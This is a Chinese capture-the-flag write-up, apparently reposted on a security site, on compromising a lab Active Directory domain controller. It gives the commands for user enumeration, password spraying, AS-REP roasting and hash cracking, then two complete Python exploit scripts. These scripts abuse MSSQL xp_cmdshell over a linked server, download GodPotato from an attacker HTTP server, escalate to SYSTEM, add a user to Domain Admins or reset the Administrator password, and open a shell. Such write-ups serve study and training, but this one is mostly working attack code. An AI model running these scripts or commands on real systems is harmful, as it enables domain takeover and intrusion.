kerbrute userenum -d XMCVE.local --dc 192.168.56.105 /usr/share/seclists/Usernames/top-usernames-shortlist.txt
命中的有效用户包括:
adminsalessupportadministratorAdminalucard
接着做一轮最常见弱口令喷洒:
kerbrute passwordspray -d XMCVE.local --dc 192.168.56.105 valid\_users.txt 'Password123!'
命中结果:
admin:Password123!sales:Password123!support:Password123!Admin:Password123!
这一步只拿到了普通域账号,没有直接管理权限。
2. BloodHound 找真正突破口
用已知凭据采集 BloodHound 数据:
bloodhound-python -u admin -p 'Password123!' -d XMCVE.local -dc CASTLEVANIA.XMCVE.local -ns 192.168.56.105 -c All --zip
在采集结果里,关键用户是 [email protected] 。
已验证到的关键属性:
dontreqpreauth: trueserviceprincipalnames: HTTP/CASTLEVANIA.XMCVE.localmember of: BACKUP OPERATORS
同时还能看到:
[email protected] -> member of local Administrators
但 alucard 当前没有口令,暂时走不通。
因此最优路径变成:
先打 mowen 的 AS-REP Roast
再利用其 Backup Operators 权限打域控
3. AS-REP Roast 拿下 mowen
因为 mowen 开启了“不需要预认证”,可以直接请求 AS-REP:
impacket-GetNPUsers XMCVE.local/mowen -dc-ip 192.168.56.105 -no-pass -request
拿到哈希后用 John 爆破:
john mowen.asrep --wordlist=/usr/share/wordlists/rockyou.txtjohn --show mowen.asrep
爆破结果:
mowen:1maxwell
至此得到可用凭据:
XMCVE.local\mowen : 1maxwell
土豆提权
通过Mssql的账户权限-SeImpersonatePrivilege进行土豆提权
三名选手采用该方法解出题目
手法一
1. SQL 利用
通过wuwupor / lovlyBaby登录mssql
确认配置项时还能看到 linked server的xp_cmdshell 已经开启:
SELECT name, CAST(value_in_use AS int) AS value_in_useFROM sys.configurationsWHERE name IN ('xp_cmdshell', 'Ole Automation Procedures', 'Ad Hoc Distributed Queries', 'clr enabled', 'remote access');
于是可以直接通过 POO_PUBLIC 执行系统命令:
EXEC ('EXEC xp\_cmdshell ''whoami''') AT POO\_PUBLIC;
返回身份是:
xmcve\sqlsvc
接着看权限:
EXEC ('EXEC xp\_cmdshell ''whoami /priv''') AT POO\_PUBLIC;
输出里最关键的一项是:
SeImpersonatePrivilege Enabled
这说明 sqlsvc 已经满足典型的本地提权条件,只差一条能把 SeImpersonatePrivilege 用起来的链。这里直接使用 GodPotato,它对 Windows Server 2019 可用。
2. 系统提权
利用思路非常直接:
用 xp_cmdshell 下发 GodPotato.exe
让 GodPotato 以 SYSTEM 身份执行一条命令
把已知明文口令的 sqlsvc / Sql!2026 加进 Domain Admins
重新用 sqlsvc / Sql!2026 发起网络登录,直接拿管理员级远程会话
GodPotato 先用 whoami 验证时,返回结果里已经能看到:
CurrentUser: NT AUTHORITY\SYSTEM
然后执行:
net group \"Domain Admins\" sqlsvc /add /domain
命令成功后,重新使用 sqlsvc / Sql!2026 进行远程执行,就能拿到管理员级 shell。这里用 psexec 验证,返回结果是:
nt authority\\systemCASTLEVANIA
成功拿到admin shell
3.Exp
下面给出完整利用脚本。脚本会先连 SQL,确认 POO_PUBLIC 可用,然后临时开启一个本地 HTTP 服务,把同目录中的 GodPotato.exe 下发到目标,执行提权,再自动调用 psexec 拉起管理员 shell。
import argparseimport contextlibimport functoolsimport http.serverimport shutilimport socketimport socketserverimport subprocessimport sysimport threadingimport timefrom pathlib import Path
import pytds
def quote_sql(value: str) -> str: return value.replace(\"'\", \"''\")
def get_local_ip_for_target(target_ip: str) -> str: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.connect((target_ip, 1433)) return sock.getsockname()[0] finally: sock.close()
class QuietHandler(http.server.SimpleHTTPRequestHandler): def log_message(self, fmt: str, *args) -> None: pass
class ThreadingHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer): daemon_threads = True allow_reuse_address = True
@contextlib.contextmanagerdef serve_directory(directory: Path, host: str): handler = functools.partial(QuietHandler, directory=str(directory)) server = ThreadingHTTPServer((host, 0), handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() try: yield server.server_address[1] finally: server.shutdown() server.server_close() thread.join(timeout=1)
class MSSQLExploit: def __init__(self, server: str, user: str, password: str, database: str = \"master\", port: int = 1433): self.conn = pytds.connect( server=server, database=database, user=user, password=password, port=port, validate_host=False, use_tz=False, autocommit=True, )
def close(self) -> None: self.conn.close()
def run_query(self, query: str): cur = self.conn.cursor() cur.execute(query) if not cur.description: return [] rows = cur.fetchall() columns = [c[0] for c in cur.description] return [dict(zip(columns, row)) for row in rows]
def xp_cmdshell_via_public(self, command: str): query = f\"EXEC ('EXEC xp_cmdshell ''{quote_sql(command)}''') AT POO_PUBLIC\" return self.run_query(query)
def print_rows(title: str, rows) -> None: print(f\"\
=== {title} ===\") if not rows: print(\"(no rows)\") return for row in rows: print(row)
def ensure_psexec() -> str: candidates = [ shutil.which(\"psexec.py\"), str(Path(sys.executable).with_name(\"psexec.py\")), str(Path(sys.executable).resolve().parent.parent / \"Scripts\" / \"psexec.py\"), ] for candidate in candidates: if candidate and Path(candidate).exists(): return candidate raise FileNotFoundError(\"psexec.py not found in PATH or next to the current Python installation.\")
def main() -> int: parser = argparse.ArgumentParser(description=\"Exploit for codegate babydc.\") parser.add_argument(\"--target\", default=\"192.168.124.7\") parser.add_argument(\"--sql-user\", default=\"wuwupor\") parser.add_argument(\"--sql-password\", default=\"lovlyBaby\") parser.add_argument(\"--domain\", default=\"XMCVE\") parser.add_argument(\"--pivot-user\", default=\"sqlsvc\") parser.add_argument(\"--pivot-password\", default=\"Sql!2026\") parser.add_argument(\"--command\", default=\"cmd.exe\", help=\"Command passed to psexec after sqlsvc becomes Domain Admin.\") args = parser.parse_args()
base_dir = Path(__file__).resolve().parent godpotato = base_dir / \"GodPotato.exe\" if not godpotato.exists(): raise FileNotFoundError(f\"Missing helper: {godpotato}\")
target_ip = args.target local_ip = get_local_ip_for_target(target_ip) print(f\"[+] target: {target_ip}\") print(f\"[+] local callback IP: {local_ip}\")
sql = MSSQLExploit(target_ip, args.sql_user, args.sql_password) try: print_rows( \"linked server context\", sql.run_query( \"EXEC ('SELECT @@SERVERNAME AS server_name, SYSTEM_USER AS current_login, \" \"IS_SRVROLEMEMBER(''sysadmin'') AS is_sysadmin') AT POO_PUBLIC\" ), ) print_rows(\"xp_cmdshell identity\", sql.xp_cmdshell_via_public(\"whoami /priv\"))
with serve_directory(base_dir, \"0.0.0.0\") as port: download_cmd = ( 'powershell -c \"try {(New-Object Net.WebClient).DownloadFile(' f\"'http://{local_ip}:{port}/{godpotato.name}',\" \"'C:\\\\Windows\\\\Temp\\\\GodPotato.exe');\" 'Write-Output OK} catch { Write-Output $_.Exception.Message }\"' ) print_rows(\"download helper\", sql.xp_cmdshell_via_public(download_cmd)) print_rows( \"helper presence\", sql.xp_cmdshell_via_public( 'powershell -c \"Get-Item \\'C:\\\\Windows\\\\Temp\\\\GodPotato.exe\\' | ' 'Select-Object Name,Length | Format-List\"' ), )
add_group_cmd = ( 'C:\\\\Windows\\\\Temp\\\\GodPotato.exe -cmd ' f'\"cmd /c net group \\\\\"Domain Admins\\\\\" {args.pivot_user} /add /domain\"' ) print_rows(\"godpotato group add\", sql.xp_cmdshell_via_public(add_group_cmd)) time.sleep(2) finally: sql.close()
psexec = ensure_psexec() user_spec = f\"{args.domain}/{args.pivot_user}:{args.pivot_password}@{target_ip}\" cmd = [sys.executable, psexec, user_spec, args.command] print(f\"[+] launching psexec: {' '.join(cmd)}\") return subprocess.call(cmd)
if __name__ == \"__main__\": raise SystemExit(main())
手法二
GodPotato
由于系统是 Windows Server 2019,且 sqlsvc 拥有 SeImpersonatePrivilege,直接换成 GodPotato 即可。
我在宿主机开了一个临时 HTTP 服务,把 GodPotato-NET4.exe 投到客机,然后通过 SQL 执行:
C:\Windows\Temp\GodPotato-NET4.exe -cmd \"cmd /c net user Administrator Xmctf2026Aa /domain\"
GodPotato 的关键回显如下:
[*] CurrentUser: NT AUTHORITY\\NETWORK SERVICE[*] Start Search System Token[*] PID : 804 Token:0x800 User: NT AUTHORITY\\SYSTEM[*] Find System Token : True[*] CurrentUser: NT AUTHORITY\\SYSTEM[*] process start with pid ...The command completed successfully.
这说明链条已经把 sqlsvc 抬到了 SYSTEM,并成功执行了我们给它的命令。
随后再查:
net user Administrator /domain
可以看到 Password last set 已经更新,说明域管理员密码确实被改掉了。
验证 Administrator shell
最后直接用新密码通过 impacket 的 wmiexec.py 验证远程管理员执行:
回显:
xmcve\\administratorCASTLEVANIA
这一步已经满足题目要求的:
拿到 Administrator shell
补充:本地 flag 文本的恢复
镜像里其实残留了一个已经删除的本地 flag 文件线索。
在 Alucard 的 Recent 里有一个快捷方式:
C:\Users\Alucard\Recent\flag.lnk
它指向:
C:\Users\Administrator\Desktop\flag.txt
这个文件本身已经被删掉了,但在回收站目录中仍然留有内容文件:
§RIZ9PVX.txt
离线读这个文件,能恢复出:
FLAG{XMCVE\_Castlevania\_Bloodlines\_DA\_Pwned}
Exploit
完整利用脚本放在:
from __future__ import annotations
import subprocessimport sysimport threadingfrom dataclasses import dataclassfrom http.server import SimpleHTTPRequestHandler, ThreadingHTTPServerfrom pathlib import Path
from impacket import tds
TARGET_IP = \"169.254.212.20\"HOST_HTTP_IP = \"169.254.212.1\"HOST_HTTP_PORT = 8000
SQL_USER = \"wuwupor\"SQL_PASS = \"lovlyBaby\"NEW_ADMIN_PASS = \"Xmctf2026Aa\"
@dataclassclass HttpServerContext: server: ThreadingHTTPServer thread: threading.Thread
def close(self) -> None: self.server.shutdown() self.server.server_close() self.thread.join(timeout=3)
class QuietHandler(SimpleHTTPRequestHandler): def log_message(self, format: str, *args) -> None: # noqa: A003 return
def start_http_server(directory: Path) -> HttpServerContext: handler = lambda *args, **kwargs: QuietHandler(*args, directory=str(directory), **kwargs) server = ThreadingHTTPServer((HOST_HTTP_IP, HOST_HTTP_PORT), handler) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return HttpServerContext(server=server, thread=thread)
def sql_connect() -> tds.MSSQL: mssql = tds.MSSQL(TARGET_IP, 1433) mssql.connect() ok = mssql.login(None, SQL_USER, SQL_PASS, None, None, useWindowsAuth=False) if not ok: raise RuntimeError(\"failed to log into MSSQL with recovered credentials\") return mssql
def exec_via_public(mssql: tds.MSSQL, command: str) -> list[str]: sql = \"exec ('exec master..xp_cmdshell ''%s''') at POO_PUBLIC\" % command.replace(\"'\", \"''\") mssql.sql_query(sql) return [row[\"output\"] for row in getattr(mssql, \"rows\", []) if row.get(\"output\") != \"NULL\"]
def verify_admin_shell() -> str: script = Path(sys.executable).parent / \"Scripts\" / \"wmiexec.py\" if not script.exists(): script = Path(r\"C:\\Users\\25478\\AppData\\Roaming\\Python\\Python314\\Scripts\\wmiexec.py\") cmd = [ sys.executable, str(script), f\"XMCVE/Administrator:{NEW_ADMIN_PASS}@{TARGET_IP}\", \"whoami\", ] result = subprocess.run(cmd, capture_output=True, text=True, timeout=120, check=True) return result.stdout
def main() -> int: base_dir = Path(__file__).resolve().parent godpotato = base_dir / \"GodPotato-NET4.exe\" if not godpotato.exists(): raise FileNotFoundError(f\"missing {godpotato}\")
http_ctx = start_http_server(base_dir) try: mssql = sql_connect() try: steps = [ ( \"download GodPotato\", f'powershell -nop -c \"iwr -UseBasicParsing http://{HOST_HTTP_IP}:{HOST_HTTP_PORT}/{godpotato.name} ' f'-OutFile C:\\\\Windows\\\\Temp\\\\{godpotato.name}\"', ), ( \"reset Administrator password via SYSTEM\", f'C:\\\\Windows\\\\Temp\\\\{godpotato.name} -cmd \"cmd /c net user Administrator {NEW_ADMIN_PASS} /domain\"', ), (\"show Administrator account\", \"net user Administrator /domain\"), ]
for title, command in steps: print(f\"[+] {title}\") for line in exec_via_public(mssql, command): print(line) print() finally: mssql.disconnect()
print(\"[+] verifying Administrator shell with wmiexec\") print(verify_admin_shell()) return 0 finally: http_ctx.close()
if __name__ == \"__main__\": raise SystemExit(main())
脚本做的事情是:
在宿主机开启临时 HTTP 服务。
用 wuwupor / lovlyBaby 登录 MSSQL。
通过 linked server POO_PUBLIC 执行 xp_cmdshell。
向客机投递并运行 GodPotato-NET4.exe。
把 Administrator 的域密码改成已知值。
调用 wmiexec.py 验证 Administrator shell。
&xxe;
版权声明
本站仅做备份收录,仅供研究与教学参考之用。 读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。
网络安全文章
本文为PolarisCTF2026Web方向WriteUp,涵盖AutoPypy、BrokenTrust、DXT、ezpollute、ezpython等题目的解题思路。核心涉及目录穿越、SQL注入、原型链污染、沙箱逃逸等漏洞利用手法,并给出具体EXP代码,对CTF参赛者具有实战参考价值。
10-15 0
网络安全文章
本文详细复现了ApacheOpenOfficeCVE-2026-59265漏洞,该漏洞影响4.1.16及更早版本,源于Java集成存在代码执行风险,攻击者可利用恶意ODS文件通过JDBCclasspath加载远程恶意类实现任意代码执行。文章提供了完整复现步骤、POC代码及调用链审计分析,并建议用户在4.1.17版本发布前禁用Java运行时集成以缓解风险。
10-15 0
网络安全文章
文章分析巴基斯坦兵力进入沙特后必须直面的四个致命敏感问题:与伊朗和印度的关系恶化、对胡塞武装无法取胜、使用中国武器的现实问题,以及中东伊斯兰国家真正的敌人是谁。作者认为中东冲突打的不是胜负,而是谁能在乱局中保持清醒,强调内部分裂与外部操纵才是真正威胁。
10-15 0
网络安全文章
该文档为深信服科技发布的直播预告,主题聚焦新能源制造巨头的轻资产托管核心业务与AI落地实操,定于2026年10月13日进行。内容主要作为活动宣传,未涉及具体技术细节或操作方案,属于产品推广性质,缺乏实质性技术内容与可操作建议。
10-15 0
评论